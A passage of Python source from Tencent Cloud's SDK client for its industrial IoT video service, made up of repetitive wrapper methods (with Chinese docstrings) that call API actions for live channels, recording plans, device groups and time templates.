:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeGroups", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeGroupsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeIPCChannels(self, request):
"""获取IPC设备下属通道
:param request: Request instance for DescribeIPCChannels.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeIPCChannelsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeIPCChannelsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeIPCChannels", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeIPCChannelsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveChannel(self, request):
"""直播详情接口
:param request: Request instance for DescribeLiveChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveChannelResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveChannelList(self, request):
"""直播列表接口
:param request: Request instance for DescribeLiveChannelList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveChannelListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveChannelListResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveChannelList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveChannelListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveRecordPlanById(self, request):
"""获取直播录制计划详情
:param request: Request instance for DescribeLiveRecordPlanById.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveRecordPlanByIdRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveRecordPlanByIdResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveRecordPlanById", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveRecordPlanByIdResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveRecordPlanIds(self, request):
"""获取直播录制计划列表
:param request: Request instance for DescribeLiveRecordPlanIds.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveRecordPlanIdsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveRecordPlanIdsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveRecordPlanIds", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveRecordPlanIdsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveStream(self, request):
"""直播拉流接口
:param request: Request instance for DescribeLiveStream.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveStreamRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveStreamResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveStream", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveStreamResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeLiveVideoList(self, request):
"""直播录像回放列表
:param request: Request instance for DescribeLiveVideoList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveVideoListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeLiveVideoListResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeLiveVideoList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeLiveVideoListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeMessageForward(self, request):
"""查看消息转发配置详情
:param request: Request instance for DescribeMessageForward.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeMessageForwardRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeMessageForwardResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeMessageForward", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeMessageForwardResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeMessageForwards(self, request):
"""查看消息转发配置列表
:param request: Request instance for DescribeMessageForwards.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeMessageForwardsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeMessageForwardsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeMessageForwards", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeMessageForwardsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeRecordDatesByLive(self, request):
"""直播录像存储日期列表
:param request: Request instance for DescribeRecordDatesByLive.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeRecordDatesByLiveRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeRecordDatesByLiveResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeRecordDatesByLive", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeRecordDatesByLiveResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeRecordStream(self, request):
"""获取回放视频流(NVR录制用)
RecordId和StartTime/EndTime互斥
当存在RecordId时,StartTime和EndTime无效
当RecordId为空,StartTime和EndTime生效
:param request: Request instance for DescribeRecordStream.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeRecordStreamRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeRecordStreamResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeRecordStream", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeRecordStreamResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeSIPServer(self, request):
"""本接口用于获取SIP服务器相关配置,用户可以通过这些配置项,将设备通过GB28181协议注册到本服务。
:param request: Request instance for DescribeSIPServer.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSIPServerRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSIPServerResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeSIPServer", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeSIPServerResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeScenes(self, request):
"""获取场景列表
:param request: Request instance for DescribeScenes.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeScenesRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeScenesResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeScenes", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeScenesResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeStatisticDetails(self, request):
"""本接口(DescribeStatisticDetails)用于查询指定统计项详情,返回结果按天为单位聚合,支持的最大时间查询范围为31天。
:param request: Request instance for DescribeStatisticDetails.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeStatisticDetailsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeStatisticDetailsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeStatisticDetails", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeStatisticDetailsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeStatisticSummary(self, request):
"""本接口(DescribeStatisticSummary)用于查询用户昨日的概览数据。
:param request: Request instance for DescribeStatisticSummary.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeStatisticSummaryRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeStatisticSummaryResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeStatisticSummary", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeStatisticSummaryResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeSubGroups(self, request):
"""本接口(DescribeSubGroups)用于查询分组下的子分组列表。
:param request: Request instance for DescribeSubGroups.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSubGroupsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSubGroupsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeSubGroups", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeSubGroupsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeSubscriptionStatus(self, request):
"""查询主设备订阅状态
:param request: Request instance for DescribeSubscriptionStatus.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSubscriptionStatusRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeSubscriptionStatusResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeSubscriptionStatus", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeSubscriptionStatusResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeVideoList(self, request):
"""根据时间获取回放文件列表(云端录制用)
:param request: Request instance for DescribeVideoList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeVideoListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeVideoListResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeVideoList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeVideoListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetRecordDatesByDev(self, request):
"""本接口(GetRecordDatesByDev)用于查询设备含有录像文件的日期列表。
:param request: Request instance for GetRecordDatesByDev.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordDatesByDevRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordDatesByDevResponse`
"""
try:
params = request._serialize()
body = self.call("GetRecordDatesByDev", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetRecordDatesByDevResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetRecordPlanByDev(self, request):
"""本接口(GetRecordPlanByDev)用于根据设备ID查询其绑定的录制计划.
:param request: Request instance for GetRecordPlanByDev.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlanByDevRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlanByDevResponse`
"""
try:
params = request._serialize()
body = self.call("GetRecordPlanByDev", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetRecordPlanByDevResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetRecordPlanById(self, request):
"""本接口(GetRecordPlanById)用于根据录制计划ID获取录制计划。
:param request: Request instance for GetRecordPlanById.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlanByIdRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlanByIdResponse`
"""
try:
params = request._serialize()
body = self.call("GetRecordPlanById", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetRecordPlanByIdResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetRecordPlans(self, request):
"""本接口(GetRecordPlans)用于获取用户的全部录制计划。
:param request: Request instance for GetRecordPlans.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlansRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetRecordPlansResponse`
"""
try:
params = request._serialize()
body = self.call("GetRecordPlans", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetRecordPlansResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetTimeTemplateById(self, request):
"""本接口(GetTimeTemplateById)用于根据模板ID获取时间模板详情。
:param request: Request instance for GetTimeTemplateById.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetTimeTemplateByIdRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetTimeTemplateByIdResponse`
"""
try:
params = request._serialize()
body = self.call("GetTimeTemplateById", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetTimeTemplateByIdResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetTimeTemplates(self, request):
"""本接口(GetTimeTemplates)用于获取时间模板列表。
:param request: Request instance for GetTimeTemplates.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetTimeTemplatesRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetTimeTemplatesResponse`
"""
try:
params = request._serialize()
body = self.call("GetTimeTemplates", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetTimeTemplatesResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def GetVideoListByCon(self, request):
"""本接口(GetVideoListByCon)用于查询设备的录制文件列表
:param request: Request instance for GetVideoListByCon.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetVideoListByConRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.GetVideoListByConResponse`
"""
try:
params = request._serialize()
body = self.call("GetVideoListByCon", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.GetVideoListByConResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyBindPlanLiveChannel(self, request):
"""直播录制计划绑定解绑直播频道
:param request: Request instance for ModifyBindPlanLiveChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyBindPlanLiveChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyBindPlanLiveChannelResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyBindPlanLiveChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyBindPlanLiveChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyDeviceData(self, request):
"""本接口(ModifyDeviceData)用于编辑设备信息。
:param request: Request instance for ModifyDeviceData.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyDeviceDataRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyDeviceDataResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyDeviceData", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyDeviceDataResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyLiveChannel(self, request):
"""编辑直播接口
:param request: Request instance for ModifyLiveChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveChannelResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyLiveChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyLiveChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyLiveRecordPlan(self, request):
"""编辑直播录制计划
:param request: Request instance for ModifyLiveRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyLiveRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyLiveRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyLiveVideo(self, request):
"""直播录像编辑
:param request: Request instance for ModifyLiveVideo.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveVideoRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyLiveVideoResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyLiveVideo", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyLiveVideoResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyMessageForward(self, request):
"""修改消息转发配置
:param request: Request instance for ModifyMessageForward.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyMessageForwardRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyMessageForwardResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyMessageForward", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyMessageForwardResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifySubscriptionStatus(self, request):
"""编辑设备订阅状态
:param request: Request instance for ModifySubscriptionStatus.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifySubscriptionStatusRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifySubscriptionStatusResponse`
"""
try:
params = request._serialize()
body = self.call("ModifySubscriptionStatus", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifySubscriptionStatusResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ModifyVideoInfo(self, request):
"""修改录像存储列表
:param request: Request instance for ModifyVideoInfo.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyVideoInfoRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ModifyVideoInfoResponse`
"""
try:
params = request._serialize()
body = self.call("ModifyVideoInfo", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ModifyVideoInfoResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def UpdateDeviceGroup(self, request):
"""本接口(UpdateDeviceGroup)用于修改分组信息。
:param request: Request instance for UpdateDeviceGroup.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateDeviceGroupRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateDeviceGroupResponse`
"""
try:
params = request._serialize()
body = self.call("UpdateDeviceGroup", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.UpdateDeviceGroupResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def UpdateDevicePassWord(self, request):
"""本接口(UpdateDevicePassWord)用于修改设备密码。
:param request: Request instance for UpdateDevicePassWord.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateDevicePassWordRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateDevicePassWordResponse`
"""
try:
params = request._serialize()
body = self.call("UpdateDevicePassWord", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.UpdateDevicePassWordResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def UpdateRecordPlan(self, request):
"""本接口(UpdateRecordPlan)用于更新录制计划。
:param request: Request instance for UpdateRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("UpdateRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.UpdateRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def UpdateTimeTemplate(self, request):
"""本接口(UpdateTimeTemplate)用于更新时间模板。
:param request: Request instance for UpdateTimeTemplate.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateTimeTemplateRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.UpdateTimeTemplateResponse`
"""
try:
params = request._serialize()
body = self.call("UpdateTimeTemplate", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.UpdateTimeTemplateResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
